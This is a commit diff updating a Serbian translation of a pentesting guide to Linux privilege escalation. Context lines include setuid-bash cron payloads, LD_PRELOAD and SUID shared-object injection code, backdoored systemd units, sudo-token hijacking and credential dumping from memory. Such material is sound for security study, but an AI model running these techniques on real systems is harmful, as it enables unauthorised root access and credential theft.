Translated ['src/linux-hardening/privilege-escalation/README.md'] to sr

This commit is contained in:
Translator 2025-06-07 16:45:21 +00:00
parent 341a773fae
commit e250272bc5
13 changed files with 93 additions and 3332 deletions

View File

@ -793,6 +793,29 @@
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
# 🤖 AI
- [AI Security](AI/README.md)
- [AI Security Methodology](AI/AI-Deep-Learning.md)
- [AI MCP Security](AI/AI-MCP-Servers.md)
- [AI Model Data Preparation](AI/AI-Model-Data-Preparation-and-Evaluation.md)
- [AI Models RCE](AI/AI-Models-RCE.md)
- [AI Prompts](AI/AI-Prompts.md)
- [AI Risk Frameworks](AI/AI-Risk-Frameworks.md)
- [AI Supervised Learning Algorithms](AI/AI-Supervised-Learning-Algorithms.md)
- [AI Unsupervised Learning Algorithms](AI/AI-Unsupervised-Learning-algorithms.md)
- [AI Reinforcement Learning Algorithms](AI/AI-Reinforcement-Learning-Algorithms.md)
- [LLM Training](AI/AI-llm-architecture/README.md)
- [0. Basic LLM Concepts](AI/AI-llm-architecture/0.-basic-llm-concepts.md)
- [1. Tokenizing](AI/AI-llm-architecture/1.-tokenizing.md)
- [2. Data Sampling](AI/AI-llm-architecture/2.-data-sampling.md)
- [3. Token Embeddings](AI/AI-llm-architecture/3.-token-embeddings.md)
- [4. Attention Mechanisms](AI/AI-llm-architecture/4.-attention-mechanisms.md)
- [5. LLM Architecture](AI/AI-llm-architecture/5.-llm-architecture.md)
- [6. Pre-training & Loading models](AI/AI-llm-architecture/6.-pre-training-and-loading-models.md)
- [7.0. LoRA Improvements in fine-tuning](AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md)
- [7.1. Fine-Tuning for Classification](AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md)
- [7.2. Fine-Tuning to follow instructions](AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md)
# 🔩 Reversing
- [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md)
@ -850,17 +873,6 @@
- [Low-Power Wide Area Network](todo/radio-hacking/low-power-wide-area-network.md)
- [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md)
- [Test LLMs](todo/test-llms.md)
- [LLM Training](todo/llm-training-data-preparation/README.md)
- [0. Basic LLM Concepts](todo/llm-training-data-preparation/0.-basic-llm-concepts.md)
- [1. Tokenizing](todo/llm-training-data-preparation/1.-tokenizing.md)
- [2. Data Sampling](todo/llm-training-data-preparation/2.-data-sampling.md)
- [3. Token Embeddings](todo/llm-training-data-preparation/3.-token-embeddings.md)
- [4. Attention Mechanisms](todo/llm-training-data-preparation/4.-attention-mechanisms.md)
- [5. LLM Architecture](todo/llm-training-data-preparation/5.-llm-architecture.md)
- [6. Pre-training & Loading models](todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md)
- [7.0. LoRA Improvements in fine-tuning](todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md)
- [7.1. Fine-Tuning for Classification](todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md)
- [7.2. Fine-Tuning to follow instructions](todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md)
- [Burp Suite](todo/burp-suite.md)
- [Other Web Tricks](todo/other-web-tricks.md)
- [Interesting HTTP$$external:todo/interesting-http.md$$]()

View File

@ -2,11 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
## Sistem informacije
## System Information
### OS info
Hajde da počnemo da stičemo neka saznanja o operativnom sistemu koji se pokreće
Hajde da počnemo da stičemo neka saznanja o operativnom sistemu koji se izvršava
```bash
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
@ -140,7 +140,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
```
## Korisni softver
Enumerate useful binaries
Enumerišite korisne binarne datoteke
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```
@ -156,7 +156,7 @@ Preporučuje se da ručno proverite verziju sumnjivijeg instaliranog softvera.
dpkg -l #Debian
rpm -qa #Centos
```
Ako imate SSH pristup mašini, možete takođe koristiti **openVAS** da proverite da li je instaliran zastareli i ranjiv softver.
Ako imate SSH pristup mašini, možete takođe koristiti **openVAS** da proverite da li je instaliran zastareo i ranjiv softver.
> [!NOTE] > _Imajte na umu da će ovi komandi prikazati mnogo informacija koje će većinom biti beskorisne, stoga se preporučuje korišćenje nekih aplikacija poput OpenVAS-a ili sličnih koje će proveriti da li je neka instalirana verzija softvera ranjiva na poznate eksploite._
@ -168,7 +168,7 @@ ps aux
ps -ef
top -n 1
```
Uvek proverite moguće [**electron/cef/chromium debuggers** koji rade, mogli biste to iskoristiti za eskalaciju privilegija](electron-cef-chromium-debugger-abuse.md). **Linpeas** to detektuje proverom `--inspect` parametra unutar komandne linije procesa.\
Uvek proverite moguće [**electron/cef/chromium debuggers** koji rade, mogli biste to iskoristiti za eskalaciju privilegija](electron-cef-chromium-debugger-abuse.md). **Linpeas** ih detektuje proverom `--inspect` parametra unutar komandne linije procesa.\
Takođe **proverite svoje privilegije nad binarnim datotekama procesa**, možda možete prepisati nekoga.
### Praćenje procesa
@ -182,9 +182,9 @@ Obično će vam biti potrebne **root privilegije** da pročitate memoriju proces
Međutim, zapamtite da **kao običan korisnik možete čitati memoriju procesa koje posedujete**.
> [!WARNING]
> Imajte na umu da danas većina mašina **ne dozvoljava ptrace po defaultu**, što znači da ne možete dumpovati druge procese koji pripadaju vašem neprivilegovanom korisniku.
> Imajte na umu da većina mašina danas **ne dozvoljava ptrace po defaultu**, što znači da ne možete dumpovati druge procese koji pripadaju vašem korisniku bez privilegija.
>
> Datoteka _**/proc/sys/kernel/yama/ptrace_scope**_ kontroliše dostupnost ptrace:
> Datoteka _**/proc/sys/kernel/yama/ptrace_scope**_ kontroliše pristupnost ptrace:
>
> - **kernel.yama.ptrace_scope = 0**: svi procesi mogu biti debagovani, sve dok imaju isti uid. Ovo je klasičan način na koji je ptracing radio.
> - **kernel.yama.ptrace_scope = 1**: samo roditeljski proces može biti debagovan.
@ -215,7 +215,7 @@ done
```
#### /proc/$pid/maps & /proc/$pid/mem
Za dati ID procesa, **maps prikazuje kako je memorija mapirana unutar virtuelnog adresnog prostora tog procesa**; takođe prikazuje **dozvole svake mapirane oblasti**. **Mem** pseudo fajl **izlaže samu memoriju procesa**. Iz **maps** fajla znamo koje su **oblasti memorije čitljive** i njihovi ofseti. Ove informacije koristimo da **pretražimo mem fajl i dump-ujemo sve čitljive oblasti** u fajl.
Za dati ID procesa, **maps prikazuje kako je memorija mapirana unutar virtuelnog adresnog prostora tog procesa**; takođe prikazuje **dozvole svake mapirane oblasti**. **Mem** pseudo fajl **izlaže samu memoriju procesa**. Iz **maps** fajla znamo koje su **memorijske oblasti čitljive** i njihovi ofseti. Ove informacije koristimo da **pretražimo mem fajl i izbacimo sve čitljive oblasti** u fajl.
```bash
procdump()
(
@ -270,7 +270,7 @@ Za dumpovanje memorije procesa možete koristiti:
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Možete ručno ukloniti zahteve za root i dumpovati proces koji je u vašem vlasništvu
- Skripta A.5 iz [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (potreban je root)
- Skripta A.5 iz [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root je potreban)
### Akreditivi iz memorije procesa
@ -290,12 +290,12 @@ strings *.dump | grep -i password
Alat [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) će **ukrasti kredencijale u čistom tekstu iz memorije** i iz nekih **poznatih fajlova**. Zahteva root privilegije da bi pravilno radio.
| Karakteristika | Ime procesa |
| Karakteristika | Ime procesa |
| ------------------------------------------------- | -------------------- |
| GDM lozinka (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Aktivne FTP konekcije) | vsftpd |
| VSFTPd (Aktivne FTP veze) | vsftpd |
| Apache2 (Aktivne HTTP Basic Auth sesije) | apache2 |
| OpenSSH (Aktivne SSH sesije - Sudo korišćenje) | sshd: |
@ -334,9 +334,9 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
```
### Cron koristeći skriptu sa džokerom (Wildcard Injection)
### Cron korišćenje skripte sa džokerom (Wildcard Injection)
Ako skripta koju izvršava root sadrži “**\***” unutar komande, mogli biste to iskoristiti da napravite neočekivane stvari (kao što je privesc). Primer:
Ako skripta koju izvršava root ima “**\***” unutar komande, mogli biste to iskoristiti da napravite neočekivane stvari (kao što je privesc). Primer:
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
@ -372,7 +372,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### Nevidljivi cron poslovi
Moguće je kreirati cron posao **stavljanjem povratnog znaka nakon komentara** (bez karaktera novog reda), i cron posao će raditi. Primer (obratite pažnju na karakter povratnog znaka):
Moguće je kreirati cron posao **stavljanjem povratnog znaka nakon komentara** (bez novog reda), i cron posao će raditi. Primer (obratite pažnju na znak povratka):
```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
```
@ -380,7 +380,7 @@ Moguće je kreirati cron posao **stavljanjem povratnog znaka nakon komentara** (
### Writable _.service_ datoteke
Proverite da li možete da pišete u bilo koju `.service` datoteku, ako možete, **možete je izmeniti** tako da **izvršava** vaš **backdoor kada** se usluga **pokrene**, **ponovo pokrene** ili **zaustavi** (možda ćete morati da sačekate da se mašina ponovo pokrene).\
Proverite da li možete da pišete u bilo koju `.service` datoteku, ako možete, **možete je modifikovati** tako da **izvršava** vaš **backdoor kada** se usluga **pokrene**, **ponovo pokrene** ili **zaustavi** (možda ćete morati da sačekate da se mašina ponovo pokrene).\
Na primer, kreirajte svoj backdoor unutar .service datoteke sa **`ExecStart=/tmp/script.sh`**
### Writable servisni binarni fajlovi
@ -405,7 +405,7 @@ Zatim, kreirajte **izvršni** fajl sa **istim imenom kao relativna putanja binar
## **Tajmeri**
**Tajmeri** su systemd jedinice čije ime se završava sa `**.timer**` koje kontrolišu `**.service**` fajlove ili događaje. **Tajmeri** se mogu koristiti kao alternativa cron-u jer imaju ugrađenu podršku za događaje kalendarskog vremena i monotonskog vremena i mogu se izvršavati asinhrono.
**Tajmeri** su systemd jedinice čija imena se završavaju sa `**.timer**` koje kontrolišu `**.service**` fajlove ili događaje. **Tajmeri** se mogu koristiti kao alternativa cron-u jer imaju ugrađenu podršku za događaje kalendarskog vremena i monotonskog vremena i mogu se izvršavati asinkrono.
Možete nabrojati sve tajmere sa:
```bash
@ -419,12 +419,12 @@ Unit=backdoor.service
```
U dokumentaciji možete pročitati šta je jedinica:
> Jedinica koja se aktivira kada ovaj tajmer istekne. Argument je naziv jedinice, čija sufiks nije ".timer". Ako nije navedeno, ova vrednost podrazumevano odgovara servisu koji ima isto ime kao jedinica tajmera, osim sufiksa. (Pogledajte iznad.) Preporučuje se da naziv jedinice koja se aktivira i naziv jedinice tajmera budu identični, osim sufiksa.
> Jedinica koja se aktivira kada ovaj tajmer istekne. Argument je naziv jedinice, čija sufiks nije ".timer". Ako nije navedeno, ova vrednost podrazumevano postavlja servis koji ima isto ime kao jedinica tajmera, osim sufiksa. (Pogledajte iznad.) Preporučuje se da naziv jedinice koja se aktivira i naziv jedinice tajmera budu identični, osim sufiksa.
Stoga, da biste zloupotrebili ovu dozvolu, trebali biste:
Dakle, da biste zloupotrebili ovu dozvolu, trebali biste:
- Pronaći neku systemd jedinicu (kao što je `.service`) koja **izvršava zapisivu binarnu datoteku**
- Pronaći neku systemd jedinicu koja **izvršava relativnu putanju** i imate **dozvole za pisanje** nad **systemd PUTANJOM** (da biste se pretvarali da ste taj izvršni program)
- Pronaći neku systemd jedinicu koja **izvršava relativnu putanju** i imate **zapisive privilegije** nad **systemd PUTANJOM** (da biste se pretvarali da ste taj izvršni program)
**Saznajte više o tajmerima sa `man systemd.timer`.**
@ -435,26 +435,26 @@ Da biste omogućili tajmer, potrebne su vam root privilegije i da izvršite:
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
```
Napomena **tajmer** je **aktiviran** kreiranjem symlink-a ka njemu na `/etc/systemd/system/<WantedBy_section>.wants/<name>.timer`
Napomena: **tajmer** se **aktivira** kreiranjem symlink-a ka njemu na `/etc/systemd/system/<WantedBy_section>.wants/<name>.timer`
## Sockets
Unix domena soketi (UDS) omogućavaju **komunikaciju procesa** na istim ili različitim mašinama unutar klijent-server modela. Koriste standardne Unix deskriptore za međumašinsku komunikaciju i postavljaju se kroz `.socket` datoteke.
Unix domena soketa (UDS) omogućava **komunikaciju procesa** na istim ili različitim mašinama unutar klijent-server modela. Koriste standardne Unix deskriptore za međumašinsku komunikaciju i postavljaju se putem `.socket` datoteka.
Soketi se mogu konfigurisati koristeći `.socket` datoteke.
**Saznajte više o soketima sa `man systemd.socket`.** Unutar ove datoteke, može se konfigurisati nekoliko interesantnih parametara:
**Saznajte više o soketima pomoću `man systemd.socket`.** Unutar ove datoteke može se konfigurisati nekoliko interesantnih parametara:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ove opcije su različite, ali se koristi sažetak da **naznači gde će slušati** soket (putanja AF_UNIX soket datoteke, IPv4/6 i/ili broj porta za slušanje, itd.)
- `Accept`: Prihvaća boolean argument. Ako je **true**, **instanca servisa se pokreće za svaku dolaznu konekciju** i samo soket konekcije se prosleđuje. Ako je **false**, svi slušajući soketi se **prosleđuju pokrenutoj servisnoj jedinici**, i samo jedna servisna jedinica se pokreće za sve konekcije. Ova vrednost se ignoriše za datagram sokete i FIFOs gde jedna servisna jedinica bezuslovno obrađuje sav dolazni saobraćaj. **Podrazumevano je false**. Zbog performansi, preporučuje se pisanje novih demona samo na način koji je pogodan za `Accept=no`.
- `ExecStartPre`, `ExecStartPost`: Prihvaća jedan ili više komandnih redova, koji se **izvršavaju pre** ili **posle** kreiranja i vezivanja slušajućih **soketa**/FIFOs, redom. Prvi token komandnog reda mora biti apsolutna putanja do datoteke, a zatim slede argumenti za proces.
- `Accept`: Prihvaća boolean argument. Ako je **true**, **instanca servisa se pokreće za svaku dolaznu konekciju** i samo soket konekcije se prosleđuje. Ako je **false**, svi slušajući soketi se **prosleđuju pokrenutoj servisnoj jedinici**, i samo jedna servisna jedinica se pokreće za sve konekcije. Ova vrednost se ignoriše za datagram sokete i FIFOs gde jedna servisna jedinica bezuslovno obrađuje sav dolazni saobraćaj. **Podrazumevano je false**. Iz razloga performansi, preporučuje se pisanje novih demona samo na način koji je pogodan za `Accept=no`.
- `ExecStartPre`, `ExecStartPost`: Prihvaća jedan ili više komandnih redova, koji se **izvršavaju pre** ili **posle** kreiranja i vezivanja slušajućih **soketa**/FIFOs, redom. Prvi token komandnog reda mora biti apsolutna datoteka, a zatim slede argumenti za proces.
- `ExecStopPre`, `ExecStopPost`: Dodatne **komande** koje se **izvršavaju pre** ili **posle** zatvaranja i uklanjanja slušajućih **soketa**/FIFOs, redom.
- `Service`: Specifikuje naziv **servisne** jedinice **koju treba aktivirati** na **dolaznom saobraćaju**. Ova postavka je dozvoljena samo za sokete sa Accept=no. Podrazumevano se postavlja na servis koji nosi isto ime kao soket (sa zamenjenim sufiksom). U većini slučajeva, ne bi trebalo biti potrebno koristiti ovu opciju.
- `Service`: Specifikuje naziv **servisne** jedinice **koju treba aktivirati** na **dolaznom saobraćaju**. Ova postavka je dozvoljena samo za sokete sa Accept=no. Podrazumevano je na servis koji nosi isto ime kao soket (sa zamenjenim sufiksom). U većini slučajeva, ne bi trebalo biti potrebno koristiti ovu opciju.
### Writable .socket files
Ako pronađete **writable** `.socket` datoteku, možete **dodati** na početak `[Socket]` sekcije nešto poput: `ExecStartPre=/home/kali/sys/backdoor` i backdoor će biti izvršen pre nego što soket bude kreiran. Stoga, verovatno ćete **morati da sačekate da se mašina ponovo pokrene.**\
_Napomena da sistem mora koristiti tu konfiguraciju soket datoteke ili backdoor neće biti izvršen_
Ako pronađete **writable** `.socket` datoteku, možete **dodati** na početak `[Socket]` sekcije nešto poput: `ExecStartPre=/home/kali/sys/backdoor` i backdoor će biti izvršen pre nego što soket bude kreiran. Stoga, **verovatno ćete morati da sačekate da se mašina ponovo pokrene.**\
_Napomena: sistem mora koristiti tu konfiguraciju soket datoteke ili backdoor neće biti izvršen_
### Writable sockets
@ -546,7 +546,7 @@ docker-security/
## Containerd (ctr) eskalacija privilegija
Ako otkrijete da možete koristiti **`ctr`** komandu, pročitajte sledeću stranicu jer **možda možete zloupotrebiti to za eskalaciju privilegija**:
Ako otkrijete da možete koristiti **`ctr`** komandu, pročitajte sledeću stranicu jer **možda možete da je zloupotrebite za eskalaciju privilegija**:
{{#ref}}
containerd-ctr-privilege-escalation.md
@ -554,7 +554,7 @@ containerd-ctr-privilege-escalation.md
## **RunC** eskalacija privilegija
Ako otkrijete da možete koristiti **`runc`** komandu, pročitajte sledeću stranicu jer **možda možete zloupotrebiti to za eskalaciju privilegija**:
Ako otkrijete da možete koristiti **`runc`** komandu, pročitajte sledeću stranicu jer **možda možete da je zloupotrebite za eskalaciju privilegija**:
{{#ref}}
runc-privilege-escalation.md
@ -566,11 +566,11 @@ D-Bus je sofisticirani **sistem međuprocesne komunikacije (IPC)** koji omoguća
Sistem je svestran, podržava osnovni IPC koji poboljšava razmenu podataka između procesa, podsećajući na **poboljšane UNIX domen sokete**. Pored toga, pomaže u emitovanju događaja ili signala, olakšavajući besprekornu integraciju među komponentama sistema. Na primer, signal iz Bluetooth demona o dolaznom pozivu može naterati muzički plejer da utiša, poboljšavajući korisničko iskustvo. Dodatno, D-Bus podržava sistem udaljenih objekata, pojednostavljujući zahteve za uslugama i pozive metoda između aplikacija, pojednostavljujući procese koji su tradicionalno bili složeni.
D-Bus funkcioniše na **modelu dozvoli/odbij** i upravlja dozvolama za poruke (pozivi metoda, emitovanje signala itd.) na osnovu kumulativnog efekta usklađenih pravila politike. Ove politike specificiraju interakcije sa autobusom, potencijalno omogućavajući eskalaciju privilegija kroz eksploataciju ovih dozvola.
D-Bus funkcioniše na **modelu dozvoli/odbij** i upravlja dozvolama za poruke (pozivi metoda, emitovanje signala itd.) na osnovu kumulativnog efekta pravila politike. Ove politike specificiraju interakcije sa autobusom, potencijalno omogućavajući eskalaciju privilegija kroz eksploataciju ovih dozvola.
Primer takve politike u `/etc/dbus-1/system.d/wpa_supplicant.conf` je dat, detaljno opisujući dozvole za root korisnika da poseduje, šalje i prima poruke od `fi.w1.wpa_supplicant1`.
Primer takve politike u `/etc/dbus-1/system.d/wpa_supplicant.conf` je dat, detaljno opisuje dozvole za root korisnika da poseduje, šalje i prima poruke od `fi.w1.wpa_supplicant1`.
Politike bez specificiranog korisnika ili grupe primenjuju se univerzalno, dok "podrazumevane" kontekst politike važe za sve koji nisu pokriveni drugim specifičnim politikama.
Politike bez specificiranog korisnika ili grupe primenjuju se univerzalno, dok se "podrazumevane" kontekst politike primenjuju na sve što nije pokriveno drugim specifičnim politikama.
```xml
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
@ -687,14 +687,14 @@ Ako **znate neku lozinku** okruženja **pokušajte da se prijavite kao svaki kor
### Su Brute
Ako vam nije stalo do pravljenja velike buke i `su` i `timeout` binarni fajlovi su prisutni na računaru, možete pokušati da brute-force-ujete korisnika koristeći [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sa `-a` parametrom takođe pokušava da brute-force-uje korisnike.
Ako vam nije stalo do pravljenja velike buke i `su` i `timeout` binarni fajlovi su prisutni na računaru, možete pokušati da brute-force korisnika koristeći [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sa `-a` parametrom takođe pokušava da brute-force korisnike.
## Zloupotreba Writable PATH-a
## Zloupotrebe Writable PATH
### $PATH
Ako otkrijete da možete **pisati unutar neke fascikle $PATH-a** možda ćete moći da eskalirate privilegije tako što ćete **napraviti backdoor unutar pisive fascikle** sa imenom neke komande koja će biti izvršena od strane drugog korisnika (idealno root) i koja **nije učitana iz fascikle koja se nalazi pre** vaše pisive fascikle u $PATH-u.
Ako otkrijete da možete **pisati unutar neke fascikle $PATH** možda ćete moći da eskalirate privilegije tako što ćete **napraviti backdoor unutar writable fascikle** sa imenom neke komande koja će biti izvršena od strane drugog korisnika (idealno root) i koja **nije učitana iz fascikle koja se nalazi pre** vaše writable fascikle u $PATH.
### SUDO i SUID
@ -780,14 +780,14 @@ Zatim, kada pozovete suid binarni fajl, ova funkcija će biti izvršena
### LD_PRELOAD & **LD_LIBRARY_PATH**
**LD_PRELOAD** promenljiva okruženja se koristi za specificiranje jedne ili više deljenih biblioteka (.so fajlova) koje će loader učitati pre svih drugih, uključujući standardnu C biblioteku (`libc.so`). Ovaj proces je poznat kao preloading biblioteke.
**LD_PRELOAD** promenljiva okruženja se koristi za određivanje jedne ili više deljenih biblioteka (.so fajlova) koje će loader učitati pre svih drugih, uključujući standardnu C biblioteku (`libc.so`). Ovaj proces je poznat kao preloading biblioteke.
Međutim, da bi se održala sigurnost sistema i sprečilo korišćenje ove funkcije, posebno sa **suid/sgid** izvršnim fajlovima, sistem nameće određene uslove:
Međutim, kako bi se održala sigurnost sistema i sprečilo korišćenje ove funkcije, posebno sa **suid/sgid** izvršnim fajlovima, sistem nameće određene uslove:
- Loader zanemaruje **LD_PRELOAD** za izvršne fajlove gde se stvarni korisnički ID (_ruid_) ne poklapa sa efektivnim korisničkim ID (_euid_).
- Za izvršne fajlove sa suid/sgid, samo biblioteke u standardnim putanjama koje su takođe suid/sgid se preloaded.
- Loader zanemaruje **LD_PRELOAD** za izvršne fajlove gde stvarni korisnički ID (_ruid_) ne odgovara efektivnom korisničkom ID-u (_euid_).
- Za izvršne fajlove sa suid/sgid, samo biblioteke u standardnim putanjama koje su takođe suid/sgid se prelažu.
Povećanje privilegija može se dogoditi ako imate mogućnost da izvršavate komande sa `sudo` i izlaz `sudo -l` uključuje izjavu **env_keep+=LD_PRELOAD**. Ova konfiguracija omogućava da **LD_PRELOAD** promenljiva okruženja opstane i bude prepoznata čak i kada se komande izvršavaju sa `sudo`, potencijalno dovodeći do izvršavanja proizvoljnog koda sa povišenim privilegijama.
Povećanje privilegija može se dogoditi ako imate mogućnost da izvršavate komande sa `sudo` i izlaz `sudo -l` uključuje izjavu **env_keep+=LD_PRELOAD**. Ova konfiguracija omogućava da **LD_PRELOAD** promenljiva okruženja opstane i bude prepoznata čak i kada se komande izvršavaju sa `sudo`, što potencijalno može dovesti do izvršavanja proizvoljnog koda sa povišenim privilegijama.
```
Defaults env_keep += LD_PRELOAD
```
@ -814,7 +814,7 @@ Konačno, **escalate privileges** pokretanjem
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
```
> [!CAUTION]
> Sličan privesc može biti zloupotrebljen ako napadač kontroliše **LD_LIBRARY_PATH** env varijablu jer kontroliše putanju gde će se tražiti biblioteke.
> Sličan privesc može biti zloupotrebljen ako napadač kontroliše **LD_LIBRARY_PATH** env varijablu jer kontroliše putanju gde će se pretraživati biblioteke.
```c
#include <stdio.h>
#include <stdlib.h>
@ -836,7 +836,7 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
```
### SUID Binary .so injection
Kada naiđete na binarni fajl sa **SUID** dozvolama koji deluje neobično, dobra je praksa da proverite da li pravilno učitava **.so** fajlove. To se može proveriti pokretanjem sledeće komande:
Kada naiđete na binarni fajl sa **SUID** dozvolama koji deluje neobično, dobra je praksa proveriti da li pravilno učitava **.so** fajlove. Ovo se može proveriti pokretanjem sledeće komande:
```bash
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
@ -853,7 +853,7 @@ void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
Ovaj kod, kada se kompajlira i izvrši, ima za cilj da poveća privilegije manipulisanjem dozvolama datoteka i izvršavanjem shel-a sa povišenim privilegijama.
Ovaj kod, kada se kompajlira i izvrši, ima za cilj da poveća privilegije manipulišući dozvolama datoteka i izvršavajući shell sa povišenim privilegijama.
Kompajlirajte gornji C fajl u deljeni objekat (.so) fajl sa:
```bash
@ -861,7 +861,7 @@ gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
```
Konačno, pokretanje pogođenog SUID binarnog fajla trebalo bi da aktivira eksploataciju, omogućavajući potencijalni kompromis sistema.
## Uzimanje u obzir deljenih objekata
## Hijacking deljenih objekata
```bash
# Lets find a SUID using a non-standard library
ldd some_suid
@ -892,7 +892,7 @@ to znači da biblioteka koju ste generisali treba da ima funkciju pod nazivom `a
### GTFOBins
[**GTFOBins**](https://gtfobins.github.io) je pažljivo odabran spisak Unix binarnih datoteka koje napadač može iskoristiti da zaobiđe lokalna bezbednosna ograničenja. [**GTFOArgs**](https://gtfoargs.github.io/) je isto, ali za slučajeve kada možete **samo da injektujete argumente** u komandu.
[**GTFOBins**](https://gtfobins.github.io) je pažljivo odabran spisak Unix binarnih datoteka koje napadač može iskoristiti da zaobiđe lokalna bezbednosna ograničenja. [**GTFOArgs**](https://gtfoargs.github.io/) je isto, ali za slučajeve kada možete **samo injektovati argumente** u komandu.
Projekat prikuplja legitimne funkcije Unix binarnih datoteka koje se mogu zloupotrebiti za izlazak iz ograničenih ljuski, eskalaciju ili održavanje povišenih privilegija, prenos datoteka, pokretanje bind i reverse ljuski, i olakšavanje drugih post-exploitation zadataka.
@ -934,7 +934,7 @@ bash exploit.sh
/tmp/activate_sudo_token
sudo su
```
- Drugi **eksploit** (`exploit_v2.sh`) će kreirati sh shell u _/tmp_ **u vlasništvu root-a sa setuid**
- Drugi **eksploit** (`exploit_v2.sh`) će kreirati sh shell u _/tmp_ **u vlasništvu roota sa setuid**
```bash
bash exploit_v2.sh
/tmp/sh -p
@ -947,14 +947,14 @@ sudo su
### /var/run/sudo/ts/\<Username>
Ako imate **dozvole za pisanje** u folderu ili na bilo kojem od kreiranih fajlova unutar foldera, možete koristiti binarni [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) da **kreirate sudo token za korisnika i PID**.\
Na primer, ako možete da prepišete fajl _/var/run/sudo/ts/sampleuser_ i imate shell kao taj korisnik sa PID 1234, možete **dobiti sudo privilegije** bez potrebe da znate lozinku radeći:
Na primer, ako možete da prepišete fajl _/var/run/sudo/ts/sampleuser_ i imate shell kao taj korisnik sa PID 1234, možete **dobiti sudo privilegije** bez potrebe da znate lozinku tako što ćete:
```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
```
### /etc/sudoers, /etc/sudoers.d
Fajl `/etc/sudoers` i fajlovi unutar `/etc/sudoers.d` konfigurišu ko može da koristi `sudo` i kako. Ovi fajlovi **po defaultu mogu da se čitaju samo od strane korisnika root i grupe root**.\
**Ako** možete da **čitate** ovaj fajl, mogli biste da **dobijete neke zanimljive informacije**, a ako možete da **pišete** bilo koji fajl, bićete u mogućnosti da **escalirate privilegije**.
Datoteka `/etc/sudoers` i datoteke unutar `/etc/sudoers.d` konfigurišu ko može koristiti `sudo` i kako. Ove datoteke **po defaultu mogu da se čitaju samo od strane korisnika root i grupe root**.\
**Ako** možete **čitati** ovu datoteku, mogli biste da **dobijete neke zanimljive informacije**, a ako možete **pisati** bilo koju datoteku, moći ćete da **escalirate privilegije**.
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
@ -1058,11 +1058,11 @@ linux-capabilities.md
## Dozvole direktorijuma
U direktorijumu, **bit za "izvršavanje"** implicira da korisnik može da "**cd**" u folder.\
**"read"** bit implicira da korisnik može **da lista** **fajlove**, a **"write"** bit implicira da korisnik može **da obriše** i **kreira** nove **fajlove**.
**"Read"** bit implicira da korisnik može **da nabroji** **fajlove**, a **"write"** bit implicira da korisnik može **da obriše** i **kreira** nove **fajlove**.
## ACL-ovi
## ACLs
Liste kontrole pristupa (ACL-ovi) predstavljaju sekundarni sloj diskrecionih dozvola, sposobnih da **prevaziđu tradicionalne ugo/rwx dozvole**. Ove dozvole poboljšavaju kontrolu nad pristupom fajlovima ili direktorijumima omogućavajući ili odbijajući prava određenim korisnicima koji nisu vlasnici ili deo grupe. Ovaj nivo **granularnosti osigurava preciznije upravljanje pristupom**. Dodatne informacije možete pronaći [**ovde**](https://linuxconfig.org/how-to-manage-acls-on-linux).
